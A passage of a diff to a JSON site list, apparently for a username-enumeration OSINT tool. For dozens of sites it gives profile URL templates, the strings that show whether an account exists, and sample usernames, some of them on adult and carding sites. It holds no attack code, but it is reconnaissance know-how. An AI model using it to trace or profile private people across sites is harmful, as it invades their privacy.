"status_code", + "alexaRank": 80497, + "urlMain": "https://bikepost.ru", + "url": "https://bikepost.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Biketrials": { + "tags": [ + "pk", + "ru", + "vn" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 1853655, + "urlMain": "http://www.biketrials.ru", + "url": "http://www.biketrials.ru/live/member.php?username={username}", + "usernameClaimed": "temka", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Billkiene": { + "urlSubpath": "/forums", + "engine": "vBulletin", + "alexaRank": 5465827, + "urlMain": "https://www.billkiene.com", + "usernameClaimed": "Odonata", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "hobby" + ] + }, + "BinarySearch": { + "tags": [ + "in" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,15}$", + "urlProbe": "https://binarysearch.com/api/users/{username}/profile", + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 286626, + "urlMain": "https://binarysearch.com/", + "url": "https://binarysearch.com/@/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BitBucket": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "checkType": "status_code", + "alexaRank": 3124, + "urlMain": "https://bitbucket.org/", + "url": "https://bitbucket.org/{username}/", + "usernameClaimed": "white", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BitCoinForum": { + "disabled": true, + "tags": [ + "forum", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "The user whose profile you are trying to view does not exist." + ], + "alexaRank": 205800, + "urlMain": "https://bitcoinforum.com", + "url": "https://bitcoinforum.com/profile/{username}", + "usernameClaimed": "bitcoinforum.com", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bitwarden": { + "checkType": "message", + "absenceStrs": [ + "Oops!" + ], + "presenseStrs": [ + " Profile" + ], + "url": "https://community.bitwarden.com/u/{username}/summary", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BlackHatProTools": { + "tags": [ + "forum" + ], + "engine": "vBulletin", + "alexaRank": 37561, + "urlMain": "https://www.blackhatprotools.info", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blast": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 168139, + "urlMain": "https://www.blast.hk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BleachFandom": { + "tags": [ + "ru", + "wiki" + ], + "checkType": "status_code", + "alexaRank": 80, + "urlMain": "https://bleach.fandom.com/ru", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogger": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 297, + "urlMain": "https://www.blogger.com/", + "url": "https://{username}.blogspot.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogi.pl": { + "checkType": "message", + "absenceStrs": [ + "Niepoprawny adres." + ], + "presenseStrs": [ + "Informacje og\u00f3lne" + ], + "url": "https://www.blogi.pl/osoba,{username}.html", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blogmarks": { + "tags": [ + "fr", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry, this user does not exist." + ], + "alexaRank": 44843, + "urlMain": "http://blogmarks.net", + "url": "http://blogmarks.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bluesky": { + "tags": [ + "messaging" + ], + "checkType": "message", + "absenceStrs": [ + "Oops!", + "Unable to resolve handle" + ], + "presenseStrs": [ + ".bsky.social on Bluesky" + ], + "urlMain": "https://bsky.app", + "url": "https://bsky.app/profile/{username}.bsky.social", + "usernameClaimed": "shamerli", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Blu-ray": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 16342, + "urlMain": "https://forum.blu-ray.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "BoardGameGeek": { + "checkType": "message", + "tags": [ + "gaming", + "us" + ], + "absenceStrs": [ + "\t\tUser not found", + "messagebox error", + ">\t
    Profile | BoardGameGeek", + "\t
    " + ], + "alexaRank": 4327, + "urlMain": "https://boardgamegeek.com", + "url": "https://boardgamegeek.com/user/{username}", + "usernameClaimed": "ZakuBG", + "usernameUnclaimed": "uzytnhstvj", + "presenseStrs": [ + "username", + " style=", + "mail", + " \tstyle=", + " data-username=" + ] + }, + "Bobrdobr": { + "tags": [ + "az", + "in", + "ru", + "tr", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + ], + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 208648, + "urlMain": "https://bobrdobr.ru", + "url": "https://bobrdobr.ru/people/{username}/", + "usernameClaimed": "igrozona", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BodyBuilding": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 2233, + "urlMain": "https://bodyspace.bodybuilding.com/", + "url": "https://bodyspace.bodybuilding.com/{username}", + "errorUrl": "https://bodyspace.bodybuilding.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BongaCams": { + "tags": [ + "cz", + "webcam" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Referer": "https://pt.bongacams.com/", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "same-origin", + "Sec-Fetch-User": "?1" + }, + "absenceStrs": [ + "- BongaCams" + ], + "presenseStrs": [ + "Informa\u00e7\u00e3o e p\u00e1gina" + ], + "checkType": "message", + "alexaRank": 30, + "urlMain": "https://sbongacams.com", + "url": "https://bongacams.com/profile/{username}", + "urlProbe": "https://pt.bongacams.com/profile/{username}", + "usernameClaimed": "Icehotangel", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Bookandreader": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3984210, + "urlMain": "https://www.bookandreader.com", + "usernameClaimed": "Wabbit", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bookcrossing": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 54251, + "urlMain": "https://www.bookcrossing.com/", + "url": "https://www.bookcrossing.com/mybookshelf/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Bookmate": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "Sorry! We couldn\u2019t find what you were looking for", + "error-cartoon__image" + ], + "alexaRank": 88183, + "urlMain": "https://ru.bookmate.com", + "url": "https://ru.bookmate.com/authors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BoomInfo": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 5926590, + "urlMain": "https://boominfo.ru", + "url": "https://boominfo.ru/members/?username={username}", + "usernameClaimed": "boominfo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Boosty": { + "tags": [ + "eu", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "presenseStrs": [ + "Boosty " + ], + "alexaRank": 36134, + "urlMain": "https://boosty.to", + "url": "https://boosty.to/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Borsch.gallery": { + "checkType": "status_code", + "alexaRank": 2681015, + "urlMain": "https://borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{username}", + "usernameClaimed": "yana-chursina", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "art", + "shopping" + ] + }, + "Boxing": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 4329606, + "urlMain": "http://boxing.ru/", + "url": "http://boxing.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bratsk Forum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 565986, + "urlMain": "http://forum.bratsk.org", + "url": "http://forum.bratsk.org/member.php?username={username}", + "usernameClaimed": "nekto", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Brute": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3698666, + "urlMain": "https://brute.su", + "url": "https://brute.su/members/?username={username}", + "usernameClaimed": "Neon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bugcrowd": { + "checkType": "message", + "absenceStrs": [ + ">Bugcrowd | Error" + ], + "presenseStrs": [ + "s researcher profile on Bugcrowd" + ], + "url": "https://bugcrowd.com/{username}", + "usernameClaimed": "mert", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bukkit": { + "tags": [ + "at", + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 31587, + "urlMain": "https://bukkit.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuyMeACoffee": { + "tags": [ + "in" + ], + "urlProbe": "https://www.buymeacoffee.com/{username}", + "checkType": "status_code", + "alexaRank": 4804, + "urlMain": "https://www.buymeacoffee.com/", + "url": "https://buymeacoff.ee/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "BuzzFeed": { + "tags": [ + "news", + "us" + ], + "checkType": "status_code", + "alexaRank": 511, + "urlMain": "https://buzzfeed.com/", + "url": "https://buzzfeed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "xgtrq" + }, + "Buzznet": { + "checkType": "message", + "absenceStrs": [ + "Author: - Buzznet" + ], + "url": "https://www.buzznet.com/author/{username}", + "usernameClaimed": "karynbailey", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Byte": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 272043, + "urlMain": "https://community.byte.co", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caringbridge": { + "checkType": "message", + "absenceStrs": [ + "Sorry, we can\u2019t find that site" + ], + "presenseStrs": [ + "| CaringBridge" + ], + "url": "https://www.caringbridge.org/visit/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carrd.co": { + "checkType": "message", + "absenceStrs": [ + "Sorry, the requested page could not be found." + ], + "presenseStrs": [ + "( Made with Carrd )" + ], + "url": "https://{username}.carrd.co", + "usernameClaimed": "peter", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cash.app": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for can't be found" + ], + "presenseStrs": [ + "on Cash App" + ], + "url": "https://cash.app/${username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Castingcallclub": { + "checkType": "message", + "absenceStrs": [ + "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for." + ], + "presenseStrs": [ + "| Casting Call Club" + ], + "url": "https://www.castingcall.club/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CD-Action": { + "checkType": "message", + "absenceStrs": [ + "Co\u015b si\u0119 popsu\u0142o..." + ], + "presenseStrs": [ + "Lista gier:" + ], + "url": "https://cdaction.pl/uzytkownicy/{username}", + "usernameClaimed": "jfchaaber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cda.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona na kt\u00f3r\u0105 chcesz wej\u015b\u0107 nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://www.cda.pl/{username}", + "usernameClaimed": "test2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chamsko.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "W serwisie od" + ], + "url": "https://www.chamsko.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chomikuj.pl": { + "checkType": "message", + "absenceStrs": [ + "homik o takiej nazwie nie istnieje" + ], + "presenseStrs": [ + "Foldery" + ], + "url": "https://chomikuj.pl/{username}/", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CNET": { + "tags": [ + "news", + "tech", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "error_404", + "c-error404", + "Author not found", + "c-error404_back", + "c-error404_header" + ], + "presenseStrs": [ + "},firstName:", + "#email", + ",cmsDisplayName:", + "og:title", + "c-pageProfile" + ], + "alexaRank": 181, + "urlMain": "https://www.cnet.com", + "url": "https://www.cnet.com/profiles/{username}/", + "usernameClaimed": "leadicicco", + "usernameUnclaimed": "chexowcxzm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "CORSAIR": { + "urlSubpath": "/v3", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "presenseStrs": [ + "reputation_alexaRank" + ], + "engine": "vBulletin", + "alexaRank": 6895, + "urlMain": "https://forum.corsair.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CPlusPlus": { + "checkType": "message", + "absenceStrs": [ + "404 Page Not Found" + ], + "urlMain": "https://3examplesite.ru", + "url": "http://www.cplusplus.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true, + "tags": [ + "ru" + ] + }, + "Crowdin": { + "checkType": "message", + "absenceStrs": [ + "Page Not Found - Crowdin" + ], + "presenseStrs": [ + ") \u2013 Crowdin" + ], + "url": "https://crowdin.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CS-Lords": { + "tags": [ + "gaming", + "ru" + ], + "engine": "uCoz", + "alexaRank": 5350740, + "urlMain": "http://cs-lords.ru", + "usernameClaimed": "Lexx", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cad": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0424\u043e\u0440\u0443\u043c" + ], + "alexaRank": 809683, + "urlMain": "https://cad.ru", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={username}", + "usernameClaimed": "SergeT", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Caduser": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 792871, + "urlMain": "https://www.caduser.ru/", + "url": "https://www.caduser.ru/forum/userlist.php?username={username}", + "usernameClaimed": "adamas", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapFriendly": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "regexCheck": "^[a-zA-z][a-zA-Z0-9_]{2,79}$", + "checkType": "message", + "absenceStrs": [ + "
    No results found
    " + ], + "alexaRank": 48318, + "urlMain": "https://www.capfriendly.com/", + "url": "https://www.capfriendly.com/users/{username}", + "usernameClaimed": "thisactuallyexists", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CapitalcityCombats": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + ], + "alexaRank": 90420, + "urlMain": "http://capitalcity.combats.com", + "url": "http://capitalcity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carbonmade": { + "tags": [ + "in", + "us" + ], + "checkType": "response_url", + "alexaRank": 29405, + "urlMain": "https://carbonmade.com/", + "url": "https://{username}.carbonmade.com", + "errorUrl": "https://carbonmade.com/fourohfour?domain={username}.carbonmade.com", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CardingForum": { + "disabled": true, + "tags": [ + "forum", + "ma", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 2448684, + "urlMain": "https://cardingforum.co", + "url": "https://cardingforum.co/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Cardingsite": { + "disabled": true, + "tags": [ + "pk" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 1418423, + "urlMain": "https://cardingsite.cc", + "url": "https://cardingsite.cc/members/?username={username}", + "usernameClaimed": "zombe", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HabrCareer": { + "tags": [ + "career", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    " + ], + "alexaRank": 1265, + "urlMain": "https://career.habr.com/", + "url": "https://career.habr.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Carmasters": { + "tags": [ + "fi", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 165361, + "urlMain": "https://carmasters.org", + "url": "https://carmasters.org/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CashMe": { + "disabled": true, + "errors": { + "Cash isn't available in your country yet.": "Access denied in your country, use proxy/vpn" + }, + "checkType": "status_code", + "urlMain": "https://cash.me/", + "url": "https://cash.me/${username}", + "usernameClaimed": "Jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5273271 + }, + "Casial": { + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Online Casino Forum" + ], + "urlMain": "http://www.casial.net", + "url": "http://www.casial.net/forum/members/{username}.html", + "usernameClaimed": "irgent", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 4165284 + }, + "Casino-affiliate-forum": { + "tags": [ + "de", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://www.casino-affiliate-forum.com", + "usernameClaimed": "torstenw", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Caves": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 1010183, + "urlMain": "https://caves.ru", + "usernameClaimed": "junk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cbr": { + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 2689, + "urlMain": "https://community.cbr.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Ccdi": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2823700, + "urlMain": "http://www.ccdi.ru/", + "url": "http://www.ccdi.ru/users/{username}", + "usernameClaimed": "Nikita55", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccm": { + "tags": [ + "ao", + "in", + "ve" + ], + "checkType": "status_code", + "alexaRank": 2274, + "urlMain": "https://ccm.net", + "url": "https://ccm.net/profile/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ccmixter": { + "tags": [ + "music" + ], + "checkType": "message", + "absenceStrs": [ + "ERROR(2)", + "Sorry, we don't know who that is..." + ], + "presenseStrs": [ + "Member since" + ], + "alexaRank": 93540, + "urlMain": "http://ccmixter.org/", + "url": "http://ccmixter.org/people/{username}/profile", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cent": { + "tags": [ + "art", + "us", + "writing" + ], + "urlProbe": "https://beta.cent.co/data/user/profile?userHandles={username}", + "checkType": "message", + "presenseStrs": [ + "display_name" + ], + "absenceStrs": [ + "\"results\":[]" + ], + "alexaRank": 21594, + "urlMain": "https://cent.co/", + "url": "https://beta.cent.co/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cfire": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 309789, + "urlMain": "https://cfire.ru", + "url": "https://cfire.ru/forums/member.php?username={username}", + "usernameClaimed": "laid1998", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Championat": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 738, + "urlMain": "https://www.championat.com/", + "url": "https://www.championat.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chan4chan": { + "tags": [ + "hu" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Log in - Chan4Chan" + ], + "alexaRank": 1229741, + "urlMain": "http://chan4chan.com/", + "url": "http://chan4chan.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chatujme.cz": { + "checkType": "message", + "absenceStrs": [ + "Neexistujic\u00ed profil", + "Str\u00e1nka nebyla nalezena" + ], + "alexaRank": 2736599, + "urlMain": "https://chatujme.cz/", + "url": "https://profil.chatujme.cz/{username}", + "usernameClaimed": "david", + "usernameUnclaimed": "noonewouldeverusethis", + "tags": [ + "cz", + "dating" + ] + }, + "ChaturBate": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 62, + "urlMain": "https://chaturbate.com", + "url": "https://chaturbate.com/{username}", + "usernameClaimed": "cute18cute", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Cheezburger": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4449, + "urlMain": "https://profile.cheezburger.com", + "url": "https://profile.cheezburger.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemistlab": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 1330779, + "urlMain": "http://chemistlab.ru", + "usernameClaimed": "FilIgor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chemport": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 310804, + "urlMain": "https://www.chemport.ru", + "usernameClaimed": "serge", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chess": { + "tags": [ + "gaming", + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "error image", + "

    404 Page not found

    ", + "_404-header", + "_404-inner-container", + " no-nav " + ], + "presenseStrs": [ + "profile-top", + "og:title", + " style=", + "view-profile", + " data-username=" + ], + "alexaRank": 211, + "urlMain": "https://www.chess.com", + "url": "https://www.chess.com/member/{username}", + "usernameClaimed": "sexytwerker69", + "usernameUnclaimed": "aublurbrxm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Chess-russia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.chess-russia.ru", + "url": "http://www.chess-russia.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Sova0102", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chessclub": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Internet Chess Club Forum | Forum Home", + "The member profile you requested is currently not available", + "There are no records on this user." + ], + "alexaRank": 325766, + "urlMain": "https://www.chessclub.com", + "url": "https://www.chessclub.com/forums/member/{username}", + "usernameClaimed": "Lyon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chevrolet-cruze-club": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 2340660, + "urlMain": "http://www.chevrolet-cruze-club.ru", + "url": "http://www.chevrolet-cruze-club.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chipmaker": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 59877, + "urlMain": "https://www.chipmaker.ru", + "url": "https://www.chipmaker.ru/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "hiro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chitalnya": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 34182, + "urlMain": "https://www.chitalnya.ru", + "url": "https://www.chitalnya.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chpoking": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 235983, + "urlMain": "http://chpoking.ru", + "url": "http://chpoking.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + 